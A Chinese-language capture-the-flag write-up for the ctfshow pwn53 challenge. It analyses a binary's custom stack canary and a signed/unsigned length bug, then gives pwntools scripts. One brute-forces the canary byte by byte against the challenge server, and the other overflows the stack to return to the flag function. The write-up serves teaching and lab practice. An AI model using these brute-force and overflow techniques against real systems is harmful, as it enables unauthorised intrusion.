0%

Canary爆破

ctfshow53

(1)checksec

image-20250125213308165

发现并没有开canary保护,其实这道题只是在栈上放了一个作用与canary类似的,程序运行过程中也会比较它的值是否改变

思路:我们可以逐字节的将canary爆破出来

(2)ida代码审计

image-20250125213837949

看看Canary

image-20250125213943366

意思就是先声明了一个指针变量 stream,打开canary.txt文件,如果没有这个文件就退出,如果有使用 fread 函数从打开的文件中读取 4 个字节的数据存储在全局变量global_canary

看看ctfshow

image-20250125214349626

将global_canary赋给s1,然后是一个while循环, 使用read函数读取字符到v2中,直至遇到换行符 \n(ASCII码为10)停止,v5记录存储的个数,每当存储一次v5的值就+1,,然后使用 __isoc99_sscanf 函数将 v2 中的字符串转换为整数,并存储到 nbytes 中,nbytes为size_t 类型无符号型,当我们输入-1时候就会被解释为一个非常大的数((通常是 0xFFFFFFFF,即 size_t 类型的最大值)),所以我们可以输入-1来绕过while循环,并且可以利用第二个read进行栈溢出

最后if循环就是比较canary的值是否改变的,将s1的值与global_canary比较如果不一样输出”Error *** Stack Smashing Detected *** : Canary Value Incorrect!”并且退出,一样的话输出”Where is the flag?”

最后flag

image-20250125220303086

意思就是打开flag的文件,通过puts函数将flag的值输出

(3)思路

image-20250125220808158

先将canary逐个字节爆破出来,然后通过栈溢出返回到flag的地址就可以

1.canary爆破

爆破canary s1中储存的就是canary的值,我们可以先覆盖0x20个数据覆盖到s1,然后一个字节一个字节的去覆盖s1的值,因为只覆盖一个字节,其他的不变,通过看puts函数输出的值判断是否覆盖正确,当第一个字节正确就把他记录下来,然后爆破第二个字节时,再将第一个字节输入进去再爆破第二个字节,依次类推,这里我们可以借助脚本去爆破,粘贴一个大佬写的脚本我来解释一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
canary = b'' #定义canary
for i in range(4): #这里是两层循环,因为canary是四个字节所以外层循环4次
for j in range(0x100): #这个循环尝试所有可能的字节值(从 0x00 到 0xFF)
p = remote('pwn.challenge.ctf.show', 28179)
p.sendlineafter(b'>',b'200') #200为用户名
payload = b'a'*0x20 + canary + p8(j) #先覆盖0x20到canary,在覆盖已经试出来前几个字节canary的值,再加上 要尝试的
p.sendafter('$ ', payload)
ans = str(p.recv()) #将接收的的值转化为字符串赋值给ans
if "Canary Value Incorrect!" not in ans: #这个if循环是判断逐字节爆破的canary是否正确,我们知道错误就会输出 Canary Value Incorrect!,如果我们接收到的数据中没有Canary Value Incorrect!就证明是正确的
canary += p8(j) #将新爆破出来的值加到已经爆破出来的值的后面
print(f"NO:{i+1} {hex(j)}") #因为i是取0-3的整数,所以要+1才是canary的第几个值
break #退出循环
else:
print(f"try again! {i}:{j}")
print(f"canary: {hex(u32(canary))}") #最后将canary的值转换为32位输出出来

2.栈溢出

exp

1
2
3
4
5
6
7
8
9
10
from pwn import *
p=remote('pwn.challenge.ctf.show',28179)
canary=0x21443633 #canary上面爆破过了,我们直接输入就可以,前提是canary的值是固定的
flag=0x08048696
p.recvuntil(b'How many bytes do you want to write to the buffer?\n>')
p.sendline(b'-1') #绕过while循环,并使得可以借助read函数栈溢出
p.recvuntil(b'$ ')
pay=b'a'*0x20+p32(canary)+b'a'*(0xc+0x4)+p32(flag) #payload=覆盖到s1+canary+覆盖到返回地址+返回地址
p.sendline(pay)
p.interactive()

参考文章

ctfshowpwn 45 -> 90(已更新33)栈溢出_pwn59-CSDN博客

canary保护和pie保护的绕过_ctfshow pwn入门-CSDN博客

// 在最后添加